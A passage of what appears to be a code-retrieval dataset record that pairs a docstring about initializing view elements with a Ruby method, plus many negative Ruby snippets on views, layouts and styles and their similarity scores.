\"public/javascripts/modernizr-1.5.min.js\"\n copy_file \"jquery-1.4.2.min.js\", \"public/javascripts/jquery-1.4.2.min.js\"\n copy_file \"dd_belatedpng.js\", \"public/javascripts/dd_belatedpng.js\"\n\n template \"layout.html.erb\", \"app/views/layouts/#{file_name}.html.erb\"\n copy_file 'layout_helper.rb', 'app/helpers/layout_helper.rb'\n end", "def render_result\n layout = @render_args[:layout]\n view = @render_args[:view]\n if layout.kind_of? Symbol # this handles the layout(:none)\n view.result(binding)\n else\n @view[:timestamp] = \"<!-- rendered: #{Time.now()} / env: #{rack_env} -->\"\n @view[:body] = view.result(binding)\n # layout = @layout if layout.nil? # this handles the layout(:some_other_layout) case for formats\n layout.result(binding)\n end\n end", "def root\n @root ||= (parent ? parent.root : self)\n end", "def layout\n case @mode\n when :injector\n \"injector\"\n when :page\n \"application\"\n else\n false\n end\n end", "def root(action = nil)\n if action\n @root = Route::Root.new(action)\n else\n @root\n end\n end", "def default_layout\n site.config.page_layout\n end", "def master_view\n\t\toption = @view.initial_view\n\t\tselect(option)\n\tend", "def view_instance\n view = ActionView::Base.new(controller.class.view_paths, {}, controller)\n view.extend master_helper_module\n end", "def layout_file_name\n layout = \"application\"\n fail unless Content::Aggregator.original_content\n prepare_layout(layout)\n end", "def grvpc\n render layout: 'views/index'\n end", "def administration\n #render layout: 'administration'\n render layout: 'views/index'\n end", "def _layout_for(name = nil)\n name ||= :layout\n view_flow.get(name).html_safe\n end", "def root\n return @root\n end", "def root\n return @root\n end", "def angular\n render \"layouts/application\", layout: false\n end", "def root\n self\n end" ]
[ "0.7210227", "0.63595414", "0.6343041", "0.6262489", "0.6257939", "0.62497544", "0.6186043", "0.618303", "0.6124064", "0.610619", "0.6065549", "0.5998523", "0.59898144", "0.5923627", "0.58750683", "0.58750683", "0.58321255", "0.5807749", "0.57807946", "0.57748705", "0.5741783", "0.57063097", "0.5666163", "0.5630941", "0.5627098", "0.5617264", "0.55662185", "0.5561712", "0.5535635", "0.5524184", "0.5494815", "0.5477435", "0.5461929", "0.54431474", "0.54149705", "0.5402902", "0.53984493", "0.53948396", "0.53565276", "0.53539985", "0.5350223", "0.5334546", "0.53339154", "0.53274286", "0.5311696", "0.53036314", "0.5300114", "0.5297408", "0.52903354", "0.528685", "0.52844167", "0.5265835", "0.5260539", "0.5248513", "0.52483034", "0.5239026", "0.5237989", "0.5235974", "0.5232641", "0.52311015", "0.52277684", "0.5221086", "0.5214553", "0.52082115", "0.52082115", "0.52060705", "0.52060705", "0.52044135", "0.5199023", "0.5194511", "0.5193506", "0.51833314", "0.51788974", "0.5174099", "0.5167598", "0.5165435", "0.51636183", "0.51606023", "0.5156324", "0.51561475", "0.5150567", "0.51444507", "0.51437634", "0.51409966", "0.51359814", "0.51319784", "0.51298356", "0.51293814", "0.5115377", "0.5110718", "0.51081014", "0.5103053", "0.5102695", "0.509428", "0.5092645", "0.5088798", "0.5085351", "0.5085351", "0.5083408", "0.5081654" ]
0.7055751
1
Initializes an instance of a view. This will need to be smarter going forward as `new` isn't always the designated initializer. Accepts a view instance, a class (which is instantiated with 'new') or a `ViewLayout`, which returns the root view.
def initialize_element(elem, element_id) if elem.is_a?(Class) && elem < TreeLayout layout = elem.new elem = layout.view elsif elem.is_a?(Class) elem = elem.new elsif elem.is_a?(TreeLayout) layout = elem elem = elem.view end if layout if element_id name_element(layout, element_id) end @child_layouts << layout elsif element_id name_element(elem, element_id) end return elem end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(view)\n @view = view\n end", "def initialize(view)\n @view = view\n end", "def initialize(view)\n @view = view\n end", "def initialize(view, *args, &block)\n raise \"Trying to instantiate abstract class for #{self.class}\" if abstract_class?\n super(*[view, block])\n manage_args(*args)\n instance_exec(self, &callback)\n end", "def build_view\n # Only in the 'layout' method will we allow default container to be\n # created automatically (when 'add' is called)\n @assign_root = true\n prev_should_run = @should_run_deferred\n @should_run_deferred = true\n layout\n unless @view\n if @assign_root\n create_default_root_context\n @view = @context\n else\n NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?')\n end\n end\n run_deferred(@view)\n @should_run_deferred = prev_should_run\n @assign_root = false\n # context can be set via the 'create_default_root_context' method, which\n # may be outside a 'context' block, so make sure to restore context to\n # it's previous value\n @context = nil\n\n if @preset_root\n @view = WeakRef.new(@view)\n @preset_root = nil\n end\n\n @view\n end", "def root(element, element_id=nil, &block)\n if @view\n raise ContextConflictError.new(\"Already created the root view\")\n end\n unless @assign_root\n raise InvalidRootError.new(\"You should only create a 'root' view from inside the 'layout' method (use 'create' elsewhere)\")\n end\n @assign_root = false\n\n # this method can be called with just a symbol, to assign the root element_id\n if element.is_a?(Symbol)\n element_id = element\n # See note below about why we don't need to `apply(:default_root)`\n element = preset_root || default_root\n elsif preset_root && preset_root != element\n # You're trying to make two roots, one at initialization\n # and one in your layout itself.\n raise ContextConflictError.new(\"Already created the root view\")\n end\n\n @view = initialize_element(element, element_id)\n\n if block\n if @context\n raise ContextConflictError.new(\"Already in a context\")\n end\n end\n\n style_and_context(@view, element_id, &block)\n\n return @view\n end", "def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end", "def initialize_template_class(assigns)\n ActionView::Base.new(template_path, assigns, self)\n end", "def initialize(object, view_context: self.class.default_view_context)\n __setobj__(object)\n @view_context = view_context\n end", "def loadView\n self.view = MainView.alloc.initWithFrame(UIScreen.mainScreen.bounds)\n end", "def initialize(window, game_state_model)\n @window = window\n @game_state_model = game_state_model\n @menu_background = Views::MenuView.new(@window, self)\n @views = [Views::InitialMenuView.new(@window, self), Views::SaveMenuView.new(@window, self), Views::TypeMenuView.new(@window, self), Views::MultiplayerMenuView.new(@window, self, @game_state_model), Views::LoginServerMenuView.new(@window, self), Views::ModeMenuView.new(@window, self)]\n @current_view = @views.first\n @alert_view = nil\n end", "def initialize(view, icon_index=nil, v_index=nil)\n @view = view\n @icon_index = icon_index\n#~ @label = label\n @v_index = v_index\n end", "def initialize(props = Hash[])\n super()\n\n @props = Hash[]\n @child_components = []\n @props = props\n\n @view = create_view\n end", "def initialize(name, view_class)\n set_view(view_class)\n @name = name\n @documents = Hash.new\n end", "def initialize\n StartView.new(self) unless $DEBUG\n end", "def initialize(view_context)\n @view_context = view_context\n super\n end", "def initialize(&block)\n raise ArgumentError, \"block required\" unless block\n @actions, @with, @layouts, @views, @helpers = [], [], {}, {}, self\n @app = method(:_call)\n @root = File.dirname(eval(\"__FILE__\", block.binding))\n instance_eval(&block)\n end", "def initialize\n super(Network.generate_id(\"document_\"))\n @view = View.new\n @layout = Layout.new\n self.link(:default_view, @view)\n self.link(:default_layout, @layout)\n end", "def initialize(action_view, assigns, &layout_block)\n @action_view = action_view\n assigns.each do |name, value|\n instance_variable_set(name, value)\n end\n @layout_block = layout_block\n end", "def view_instance\n # view = if controller.response.template\n # controller.response.template\n # else\n View.new controller, master_helper_module\n # end\n \n # view.extend Extensions::View\n end", "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def view(view_class,text = nil, &block)\n @view_class = view_class\n @view_render = text || block if (text || block)\n end", "def initialize(params = {})\n @main_view = params[:main_view]\n end", "def initialize(contents = '', format: :html)\n @doc = Config.presenter.view_doc_class.new(Presenter.process(contents, format))\n end", "def initialize(database, design_doc, view_name, view_options = {}, container_class = nil, query_type = :view)\n raise ArgumentError, \"database is a required parameter\" if database.nil?\n\n @database = database\n @container_class = container_class\n @query_type = query_type\n\n strip_pagination_options(view_options)\n @view_options = view_options\n\n if design_doc.class == Design\n @view_name = \"#{design_doc.name}/#{view_name}\"\n else\n @view_name = \"#{design_doc}/#{view_name}\"\n end\n end", "def initialize(design_doc, parent, new_query = {}, name = nil)\n self.design_doc = design_doc\n\n # Extrace important non-regular query values\n proxy = new_query.delete(:proxy)\n delete = new_query.delete(:delete)\n\n if parent.is_a?(Class) && parent < CouchRest::Model::Base\n raise \"Name must be provided for view to be initialized\" if name.nil?\n self.model = (proxy || parent)\n self.owner = parent\n self.name = name.to_s\n # Default options:\n self.query = { }\n elsif parent.is_a?(self.class)\n self.model = (proxy || parent.model)\n self.owner = parent.owner\n self.name = parent.name\n self.query = parent.query.dup\n else\n raise \"View cannot be initialized without a parent Model or View\"\n end\n\n # Update the local query hash\n query.update(new_query)\n delete.each{|k| query.delete(k)} if delete\n\n super()\n end", "def create_view(name, opts = {})\n Designs::View.define_and_create(self, name, opts)\n end", "def initialize(object, view_context: self.class.default_view_context)\n @object = object\n @view_context = view_context\n end", "def set_view(view_class)\n @view = validate_class(view_class)\n end", "def view view, &block\n @views[view]\n if block\n raise \"Nested views not supported\" if @current_view\n @current_view = view\n self.instance_eval &block\n @current_view = nil\n end\n end", "def load_view\r\n @view = XamlReader.load_from_path view_path if File.exists? view_path\r\n @view ||= view_name.to_s.gsub(/(.*::)+/, '').classify.new \r\n @view\r\n end", "def initialize(&block)\n super\n self.window_title = WINDOW_TITLE\n self.central_widget = Qt::Frame.new do |frame|\n frame.layout = Qt::VBoxLayout.new do |outer|\n outer.margin = 9\n outer.spacing = 6\n outer.add_widget(CurrencyView.new)\n outer.add_widget(TokenView.new)\n end\n end\n create_actions\n create_menus\n create_toolbars\n create_status_bar\n read_settings\n end", "def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end", "def call\n load_view_class\n return <<-RUBY\n instance_vars = assigns.merge(local_assigns).inject({}) do |result, (name, value)|\n result.update(\"@\\#{name}\" => value)\n end\n view = #{view_class_name}.new(self, instance_vars) { |*names| yield(*names) }\n view.#{render_method}(#{template_source.inspect})\n RUBY\n end", "def default_root\n # child WindowLayout classes can return *their* NSView subclass from self.nsview_class\n view_class = self.class.targets || NSWindow\n view_class.alloc.initWithContentRect([[0, 0], [0, 0]],\n styleMask: NSTitledWindowMask | NSClosableWindowMask | NSMiniaturizableWindowMask | NSResizableWindowMask,\n backing: NSBackingStoreBuffered,\n defer: false)\n end", "def initialize(options = T.unsafe(nil), root = T.unsafe(nil), &block); end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n\n # self.view_context = view_context\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def init_view_with_delegate(delegate)\n @pos_x_button_1 = 0.33\n @pos_x_button_2 = 0.47\n @pos_x_button_3 = 0.61\n\n @element_size = 64\n @icon_size = 32\n\n @delegate = delegate\n\n @init = true\n end", "def view_instance\n view = ActionView::Base.new(controller.class.view_paths, {}, controller)\n view.extend master_helper_module\n end", "def initialize(parent, new_query = {}, name = nil)\n if parent.is_a? Base\n raise \"Name must be provided for view to be initialized\" if name.nil?\n @name = name\n @database = parent.database\n @query = { :reduce => false }\n elsif parent.is_a? View\n @database = parent.database\n @query = parent.query.dup\n else\n raise \"View cannot be initialized without a parent Model or View\"\n end\n @query.update(new_query)\n super\n end", "def initialize(view)\n @view = view\n @dt_params = DtParams.new view.params\n @column_key_options = ColumnKeyOptions.new columns, global_search_columns, predefined_ranges\n @preferences = Preferences.new preferences_holder, preferences_field, self.class.name\n\n # if @dt_params.dt_columns.size != @column_key_options.size\n # raise Error, \"dt_columns size of columns is #{@dt_params.dt_columns.size} \\\n # but column_key_options size is #{@column_key_options.size}\"\n # end\n end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def initialize(config, view, save)\n @view = view\n @config = config\n @save = save\n @config_root = File.expand_path(File.dirname(@config))\n end", "def create_view()\n raise RuntimeError.new(\"Class #{self.class.name} must implement a ::create_view() method.\")\n end", "def initialize( controller )\n\n\t\t\tsuper( controller );\n\n\t\t\tcolorFillClass\t\t\t\t= widgetClass('HooColorFill')\n\t\t\tli \t\t\t\t\t\t= widgetClass(\"HooLoremIpsumView\")\n\t\t\tsimpleButton\t\t\t\t= widgetClass('HooFormButtonSimple')\n\t\t\ttoggleButton\t\t\t\t= widgetClass('HooFormButtonSimple')\n\n\t\t\t@window.showGrid;\n\n\t\t\tcolorFillView = colorFillClass.new()\n\t\t\t@window.contentView.addSubView( colorFillView )\n\n\t\t\tliInstance = li.new()\n\t\t\tcolorFillView.addSubView( liInstance )\n\n\t\t\tlambda {\n\t\t\t\t@simpleButton1 = simpleButton.new( :initialState=>1 );\n\t\t\t\t@simpleButton1.img = '../images/buttons/simple-button/3-state-combine.png';\n\t\t\t\t@simpleButton1.size = [105,45];\n\t\t\t\t@simpleButton1.labelStates = ['-- --', 'Submit', 'Pressed'];\n\t\t\t\t@simpleButton1.initialState = 1;\n\t\t\t\t@simpleButton1.labelColor = '#fff'\n\t\t\t\t@simpleButton1.action = '/widgets/_ajaxPostTest'\n\t\t\t\t#@simpleButton1.javascript = \"this.hookupAction( function(){\n\t\t\t\t#\talert('Holy Cock');\n\t\t\t\t#});\";\n\t\t\t\t@window.contentView.addSubView( @simpleButton1 );\n\t\t\t}.call\n\n\t\tend", "def view(name, opts = {})\n View.create(model, name, opts)\n create_view_method(name)\n end", "def view(x, y, width, height)\n view = View.new(self, x, y, width, height)\n\n return view unless block_given?\n\n begin\n yield(view)\n ensure\n view.sync\n end\n nil\n end", "def initialize\n self.frame = DeviceScreen.main_screen.bounds\n self.root_view_controller = ExampleController.new\n self.make_key_and_visible\n end", "def initialize(object, view_context)\n super(object)\n @view_context = view_context\n self.class.setup_alias_method\n end", "def build(view, style = nil, opts = {})\n opts[:do_not_add] = true\n opts[:style] = style\n add_subview view, opts\n end", "def initialize(x, y, width, height, views)\n super(x, y, width, height, 8, 24, true, 24, 2)\n @row_max = 1\n @column_max = views.size\n \n @viewsList = []\n window_update(views)\n self.index = 0\n end", "def initialize(x, y, width, height, views)\n super(x, y, width, height, 8, 24, true, 24, 2)\n @row_max = 1\n @column_max = views.size\n \n @viewsList = []\n window_update(views)\n self.index = 0\n end", "def initialize(options = {})\n set_layout_variables(options)\n validate! options\n end", "def init_view_with_delegate(delegate)\n\n @top_view_height = 0.5\n @bottom_view_height = 0.5\n\n @delegate = delegate\n\n\n @init = true\n end", "def initialize(root, options); end", "def initialize( root )\n\t\tself.root = root\n\tend", "def initialize(viewport)\n @stack = UI::SpriteStack.new(viewport, SCREEN_X)\n @viewport = viewport\n create_class_text\n create_systag_ui\n create_groups_ui\n end", "def initialize(input:, output:)\n @ui = UI.new(input, output)\n end", "def initialize(input:, output:)\n @ui = UI.new(input, output)\n end", "def initialize(options={})\n\t\t\t@model = options[:model]\n\t\t\t@view = options[:view]\n\t\t\t@router = options[:router]\n\t\tend", "def view(check = nil, &block)\n raise ArgumentError, \"block required\" unless block_given?\n @views.insert(0, ViewHandler.new(check, block))\n end", "def initialize(viewport, x = 2, y = 2, width = 316, height = 48, skin: DEFAULT_SKIN)\n super(viewport)\n lock\n set_position(x, y)\n set_size(width, height)\n self.windowskin = RPG::Cache.windowskin(skin)\n self.window_builder = current_window_builder(skin)\n unlock\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def create(root_pathname, *init_args, &block)\n instance = new(root_pathname)\n instance.clear\n instance.init(*init_args)\n instance.instance_eval(&block) if block\n end", "def view\n @view ||= returning Cell::View.new(view_paths, {}, @controller) do |v|\n v.cell = self\n v.helper_module = self.class.master_helper_module\n end\n end", "def initInRootController(controller)\n initWithFrame(controller.view.bounds).tap do\n @root_controller = controller\n end\n end", "def initialize()\n @root = Node.new(nil)\n end", "def initialize(root=nil)\n @root = root\n end", "def initialize(layout, components)\n @layout = layout\n @hgroup = @layout.createSequentialGroup\n @vgroup = @layout.createSequentialGroup\n @vertical = nil\n @horizontals = []\n @components = components\n\n alignments_reset\n widths_reset\n heights_reset\n horizontals_reset\n end", "def initialize(app, config = T.unsafe(nil)); end", "def add_view( view = new_view(10, 10, self.width - 20, self.height - 20), *views)\n self.addSubview(view) \n view.snap_to_top\n\n views.map do |view|\n if view.nil?\n view = NSTextField.new\n view.frame = [[0,0], [80,20]]\n view.stringValue = \"nil view!\"\n end\n\n self.add_tiled_vertical view\n end\n \n self\n end", "def initialize(type, *args, &block)\n super(type, *args)\n @init = block\n end", "def initialize( * )\n\t\tsuper\n\t\t@presenter = self.setup_presentation_layer\n\tend", "def init_views\n @actions = @actions.nil? ? [] : @actions\n @tabs = @tabs.nil? ? [] : @tabs\n end", "def initialize(stanza = nil)\n @stanza = stanza\n @view = nil\n end", "def initialize(options={})\n\t\t\t@controller = options[:controller] ? options[:controller] : 'Controller'\n\t\t\t@model = options[:model] ? options[:model] : 'Model'\n\t\t\t@action = options[:action] ? options[:action] : :hello_mousevc\n\t\t\t@views = options[:views]\n\t\tend", "def loadView\n if iphone_4_inch?\n views = NSBundle.mainBundle.loadNibNamed 'MainView', owner: self, options: nil\n else\n views = NSBundle.mainBundle.loadNibNamed 'MainViewShort', owner: self, options: nil\n end\n self.view = views.first\n end", "def initialize(parent = T.unsafe(nil)); end", "def make_view_from(options = {})\n o = {}\n o.merge! options\n options.each do |k, v| o[k.to_sym] = v unless k.kind_of? Symbol\n end\n \n # Set defaults\n [\n [ :altitude, 0 ],\n [ :altitudeMode, :relativeToGround ],\n [ :latitude, 0 ],\n [ :longitude, 0 ],\n [ :tilt, 0 ],\n [ :heading, 0 ],\n [ :extrude, 0 ],\n ].each do |a|\n o[a[0]] = a[1] unless o.has_key? a[0]\n end\n \n p = point o[:longitude], o[:latitude], o[:altitude], o[:altitudeMode], o[:extrude]\n \n if o.has_key? :roll then\n view = Kamelopard::Camera.new p\n else\n view = Kamelopard::LookAt.new p\n end\n \n [ :altitudeMode, :tilt, :heading, :timestamp, :timespan, :timestamp, :range, :roll, :viewerOptions ].each do |a|\n view.method(\"#{a.to_s}=\").call(o[a]) if o.has_key? a\n end\n \n view\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def initialize(layout)\n @visible = true\n reset_layout(layout)\n\n @window = Ncurses::WINDOW.new(height, width, top, left)\n @panel = Ncurses::Panel.new_panel(@window)\n ## eeks XXX next line will wreak havoc when multiple windows opened like a mb or popup\n #$error_message_row = $status_message_row = Ncurses.LINES-1\n $error_message_row ||= Ncurses.LINES-1\n $error_message_col ||= 1\n init_vars\n\n\n end", "def set_view\n @view = View.find(params[:id])\n end", "def ar_view\n view = nil\n\n if params[:view]\n view = self.class.ar_views[params[:view].to_sym] ||\n self.class.ar_model.interfaces[:rest].views[params[:view].to_sym]\n end\n\n view ||= self.class.ar_views[action_name.to_sym] ||\n self.class.ar_model.interfaces[:rest].views[action_name.to_sym] ||\n View.new(:anonymous)\n view\n end", "def initialize(owner_class, *args, &block); end", "def initialize(width, height)\n @table = Table.new(width, height)\n @view = RobotView.new\n @robot = Robot.new(@table)\n end", "def initialize(root = Dir.pwd)\n @root = root\n super()\n end", "def initialize(layout:)\n @layout = layout\n @sides = Math.sqrt(layout.length).floor\n @pos = layout.index('5') + 1\n end", "def initialize(options={})\n @debug = !!options[:debug]\n\n @views = {}\n @compact = options[:compact]\n @cache = nil\n\n backend = options[:backend]\n case backend\n when 'html5', 'docbook45', 'docbook5'\n eruby = load_eruby options[:eruby]\n #Helpers.require_library 'asciidoctor/backends/' + backend\n require 'asciidoctor/backends/' + backend\n # Load up all the template classes that we know how to render for this backend\n BaseTemplate.template_classes.each do |tc|\n if tc.to_s.downcase.include?('::' + backend + '::') # optimization\n view_name, view_backend = self.class.extract_view_mapping(tc)\n if view_backend == backend\n @views[view_name] = tc.new(view_name, backend, eruby)\n end\n end\n end\n else\n Debug.debug { \"No built-in templates for backend: #{backend}\" }\n end\n\n # If user passed in a template dir, let them override our base templates\n if (template_dirs = options.delete(:template_dirs))\n Helpers.require_library 'tilt', true\n\n if (template_cache = options[:template_cache]) === true\n # FIXME probably want to use our own cache object for more control\n @cache = (@@global_cache ||= TemplateCache.new)\n elsif template_cache\n @cache = template_cache\n end\n\n view_opts = {\n :erb => { :trim => '<>' },\n :haml => { :format => :xhtml, :attr_wrapper => '\"', :ugly => true, :escape_attrs => false },\n :slim => { :disable_escape => true, :sort_attrs => false, :pretty => false }\n }\n\n # workaround until we have a proper way to configure\n if {'html5' => true, 'dzslides' => true, 'deckjs' => true, 'revealjs' => true}.has_key? backend\n view_opts[:haml][:format] = view_opts[:slim][:format] = :html5\n end\n\n slim_loaded = false\n path_resolver = PathResolver.new\n engine = options[:template_engine]\n\n template_dirs.each do |template_dir|\n # TODO need to think about safe mode restrictions here\n template_dir = path_resolver.system_path template_dir, nil\n template_glob = '*'\n if engine\n template_glob = \"*.#{engine}\"\n # example: templates/haml\n if File.directory? File.join(template_dir, engine)\n template_dir = File.join template_dir, engine\n end\n end\n\n # example: templates/html5 or templates/haml/html5\n if File.directory? File.join(template_dir, backend)\n template_dir = File.join template_dir, backend\n end\n\n # skip scanning folder if we've already done it for same backend/engine\n if @cache && @cache.cached?(:scan, template_dir, template_glob)\n @views.update(@cache.fetch :scan, template_dir, template_glob)\n next\n end\n\n helpers = nil\n scan_result = {}\n # Grab the files in the top level of the directory (we're not traversing)\n Dir.glob(File.join(template_dir, template_glob)).\n select{|f| File.file? f }.each do |template|\n basename = File.basename(template)\n if basename == 'helpers.rb'\n helpers = template\n next\n end\n name_parts = basename.split('.')\n next if name_parts.size < 2\n view_name = name_parts.first \n ext_name = name_parts.last\n if ext_name == 'slim' && !slim_loaded\n # slim doesn't get loaded by Tilt\n Helpers.require_library 'slim', true\n end\n next unless Tilt.registered? ext_name\n opts = view_opts[ext_name.to_sym]\n if @cache\n @views[view_name] = scan_result[view_name] = @cache.fetch(:view, template) {\n Tilt.new(template, nil, opts)\n }\n else\n @views[view_name] = Tilt.new template, nil, opts\n end\n end\n\n require helpers unless helpers.nil?\n @cache.store(scan_result, :scan, template_dir, template_glob) if @cache\n end\n end\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def initialize(root)\n @root = root\n end", "def method_missing(method, *args, &block)\n view.send(method, *args, &block)\n end", "def create_view(id,doc)\n resp = get_design_doc(id)\n ddoc = set_views(resp,doc)\n\n create_design_doc(id,ddoc)\n end", "def initialize(name = 'ROOT')\n @root = Node::Root.new(name, config)\n end" ]
[ "0.7086133", "0.7030674", "0.6974956", "0.6407135", "0.6243834", "0.6094287", "0.59766", "0.584781", "0.5846918", "0.5845415", "0.58148706", "0.5806649", "0.57250345", "0.57247335", "0.56872237", "0.56553626", "0.56547505", "0.56318283", "0.5607281", "0.55543464", "0.5540843", "0.55230325", "0.5510534", "0.54890925", "0.54745805", "0.546042", "0.5426122", "0.5413594", "0.5410399", "0.5364969", "0.52922225", "0.52912307", "0.5237813", "0.523135", "0.52271324", "0.5197763", "0.5193226", "0.51813745", "0.5178296", "0.51745987", "0.51696724", "0.516826", "0.5160066", "0.513473", "0.5120234", "0.5117004", "0.50962853", "0.5091065", "0.5081092", "0.5080981", "0.50683403", "0.50683403", "0.50154674", "0.50153804", "0.49909496", "0.49679273", "0.49590072", "0.4951662", "0.4951662", "0.49492702", "0.49436525", "0.49394086", "0.49325222", "0.49192536", "0.49136442", "0.49084783", "0.4896281", "0.48872742", "0.48785424", "0.48434323", "0.48359352", "0.48181134", "0.48120877", "0.48058483", "0.48048684", "0.4800557", "0.47983515", "0.47932693", "0.47917068", "0.47836494", "0.47836494", "0.47836494", "0.47779676", "0.47592345", "0.4749532", "0.4746754", "0.47428602", "0.47421587", "0.47372535", "0.47337723", "0.47155485", "0.47155485", "0.47155485", "0.47155485", "0.47155485", "0.47155485", "0.47155485", "0.47122642", "0.4709997", "0.47060838" ]
0.53315353
30
Calls the `_style` method with the element as the context, and runs the optional block in that context. This is usually done immediately after `initialize_element`, except in the case of `add`, which adds the item to the tree before styling it.
def style_and_context(element, element_id, &block) style_method = "#{element_id}_style" if parent_layout.respond_to?(style_method) || block_given? parent_layout.context(element) do if parent_layout.respond_to?(style_method) parent_layout.send(style_method) end if block_given? yield end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add(element, element_id=nil, options={}, &block)\n # make sure we have a target - raises NoContextError if none exists\n self.target\n\n unless @context\n create_default_root_context\n end\n\n # We want to be sure that the element has a supeview or superlayer before\n # the style method is called.\n element = initialize_element(element, element_id)\n self.apply(:add_child, element, options)\n style_and_context(element, element_id, &block)\n\n element\n end", "def render_style(&block)\n [ style.to_s, yield, parent_style ].join\n end", "def create(element, element_id=nil, &block)\n element = initialize_element(element, element_id)\n style_and_context(element, element_id, &block)\n\n element\n end", "def with_style(temp_style = {})\n old_style = @style\n @style = @style.merge(temp_style)\n yield(self) if block_given?\n @style = old_style\n end", "def process_style(*args, &block)\n # Avoid #instance_exec if possible for ruby 1.8.\n evaluator = args.empty? ? :instance_eval : :instance_exec\n send(evaluator, *args, &block) if block\n end", "def styles(text = nil, &block)\n @styles_render = text || block if (text || block)\n end", "def apply_to(obj)\n entries.each do |selector, style|\n obj.style.set(style) if selector[obj]\n end\n end", "def set_style\r\n @style = Style.new\r\n\r\n alignment_node = @node.xpath('.//w:jc').first\r\n alignment = alignment_node ? alignment_node.attributes['val'].value : nil\r\n @style.instance_variable_set('@text_align', alignment.to_sym) if alignment\r\n\r\n size_node = @node.xpath('w:pPr//w:sz').first\r\n font_size = size_node ? size_node.attributes['val'].value.to_i / 2 : nil\r\n @style.instance_variable_set('@font_size', font_size)\r\n\r\n bold_node = @node.xpath('w:pPr//w:b').first\r\n @style.instance_variable_set('@font_weight', 'bold') if bold_node\r\n\r\n italic_node = @node.xpath('w:pPr//w:i').first\r\n @style.instance_variable_set('@font_style', 'italic') if italic_node\r\n\r\n underline_node = @node.xpath('w:pPr//w:u').first\r\n @style.instance_variable_set('@text_underline_style', 'solid') if underline_node\r\n end", "def style(options); end", "def render_style\n \"#{style}#{yield}\"\n end", "def font_style(style)\n f = font\n if block_given?\n font(f.name, size: font_size, style: style) do\n yield\n end\n else\n font(f.name, size: font_size, style: style)\n end\n end", "def styles\n yield @styles if block_given?\n @styles\n end", "def styles(style)\n\t\t\t@attributes[:style] = StyleAttrHelper.new() if @attributes[:style].nil?\n\t\t\t\n\t\t\t@attributes[:style].set_styles(style)\n\t\t\t\n\t\t\tyield self if block_given?\n\t\t\t\n\t\t\treturn self\n\t\tend", "def getStyleElement\n return @element\n end", "def each(&block)\n\t\t# iterate and return self, or return an iterator\n\t\tif block\n\t\t\t@styles.each &block\n\t\t\treturn self\n\t\telse\n\t\t\treturn @styles.each\n\t\tend\n\tend", "def initialize options = {}, &block\n @headings = []\n @rows = []\n @column_widths = []\n self.style = options.fetch :style, {}\n self.headings = options.fetch :headings, []\n self.rows = options.fetch :rows, []\n self.title = options.fetch :title, nil\n yield_or_eval(&block) if block\n\n style.on_change(:width) { require_column_widths_recalc }\n end", "def css_proc\n @css_proc = Proc.new if block_given?\n @css_proc\n end", "def style(options={}, &block)\n model = Caracal::Core::Models::StyleModel.new(options, &block)\n \n if model.valid?\n register_style(model)\n else\n raise Caracal::Errors::InvalidModelError, 'style must define an :id and :name.'\n end\n model\n end", "def apply anElement\r\n unless anElement \r\n return\r\n end\r\n anElement.each {|e| \r\n unless @abort\r\n handle(e)\r\n yield if block_given?\r\n end }\r\n end", "def nonced_style_tag(content_or_options = {}, &block)\n nonced_tag(:style, content_or_options, block)\n end", "def style\n return @style if @style\n @style = DOM::Element.new 'style'\n @style >> DOM::Document.head\n @style\n end", "def setElement(elem)\n if @element\n # replace element in its parent with elem.\n DOM.replace(@element, elem)\n end\n\n @element = elem\n\n # We do not actually force the creation of a primary style name here.\n # Instead, we do it lazily -- when it is aboslutely required -- \n # in getStyleName(), addStyleName(), and removeStyleName().\n end", "def process(styles, options={}, &block)\n @styles = styles\n return false if styles.empty?\n styles.each do |style|\n @style = style\n begin\n process_style(&block)\n ensure\n @style = nil\n end\n end\n true\n end", "def at_css(*args); end", "def at_css(*args); end", "def method_missing(method_name, *arguments, &block)\n style_method = \"#{method_name}_style\"\n if respond_to?(style_method)\n render_with_style(method_name, arguments[0])\n else\n super\n end\n end", "def styles=(_arg0); end", "def style!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n\n type = STYLE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 359:8: 'style'\n match( \"style\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n end", "def add_style(style)\n '<span style=\"' + style + '\">' + self + \"</span>\"\n end", "def run\n if @block.arity >= 1\n @block.call self\n else\n @block.call\n end\n end", "def on(*args, &block)\n\t\t\t@child_num+=1\n\t\t\tr = Layer.new(@stylesheet,\n\t\t\t\t\t:id => \"#{@kv[:id]}__#{@child_num}\".to_sym,\n\t\t\t\t\t:kv => @kv.dup, :cascades => 